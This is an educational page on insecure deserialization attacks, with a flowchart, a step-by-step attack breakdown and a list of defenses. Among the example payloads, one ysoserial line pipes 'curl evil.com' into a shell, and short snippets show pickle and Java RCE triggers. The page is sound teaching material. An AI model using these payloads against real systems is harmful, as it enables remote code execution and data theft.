📦 Insecure Deserialization Attack Flow

Remote Code Execution via Object Injection

flowchart TD A[👤 Attacker] -->|1. Craft malicious object| B[🔧 Serialized Payload] B -->|2. Submit to application| C[🌐 Vulnerable Web App] C -->|3. Deserialize untrusted data| D[📦 Unsafe Deserialization] D -->|4. Execute magic methods| E[💣 Code Execution] E -->|5. System commands| F[🖥️ Remote Code Execution] F -->|6. Establish backdoor| G[🚪 Persistent Access] F -->|7. Exfiltrate data| H[(💾 Data Breach)] G -->|8. Control to attacker| A H -->|9. Stolen data| A style A fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff style B fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000 style C fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000 style D fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff style F fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff style G fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff I[🔒 Defense:
Avoid Deserialization] -.->|Use JSON/XML| C J[🛡️ Defense:
Integrity Checks] -.->|HMAC signatures| D K[⚙️ Defense:
Restrict Classes] -.->|Whitelist types| D style I fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000 style J fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000 style K fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000

📋 Attack Flow Breakdown

1 Identify Deserialization Points: Find where application deserializes data.
Cookie: session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA== (Java serialized)
pickle.loads(user_data) (Python)
2 Craft Malicious Payload: Create serialized object with exploit code.
ysoserial CommonsCollections6 "curl evil.com|sh" (Java)
__reduce__ method for Python pickle RCE
3 Trigger Deserialization: Submit payload in cookie, session, or POST data.
4 Magic Method Execution: Deserialization triggers special methods.
__wakeup(), __destruct() (PHP)
readObject() (Java)
__reduce__() (Python)
5 Remote Code Execution: Attacker gains ability to run arbitrary commands.
Runtime.getRuntime().exec("whoami")
6 Post-Exploitation: Install backdoors, pivot to other systems, exfiltrate data.

🛡️ Defense Mechanisms

✅ Avoid Native Serialization:
Use JSON, XML, or Protocol Buffers instead of language-native serialization.
Use: JSON.parse() | Avoid: pickle.loads(), unserialize()
✅ Implement Integrity Checks:
Sign serialized data with HMAC to detect tampering.
hmac = HMAC(secret_key, serialized_data, sha256)
✅ Restrict Deserialization Classes:
Use look-ahead deserialization with class whitelisting.
ObjectInputStream with custom resolveClass()
✅ Isolate Deserialization:
Run in sandboxed environments with limited privileges.
Use containers or VMs for isolation.
✅ Monitor Deserialization Activity:
Log and alert on suspicious deserialization patterns.
Detect known gadget chains (Apache Commons, Spring, etc.)
✅ Keep Libraries Updated:
Patch vulnerable serialization libraries.
Update: commons-collections, fastjson, jackson-databind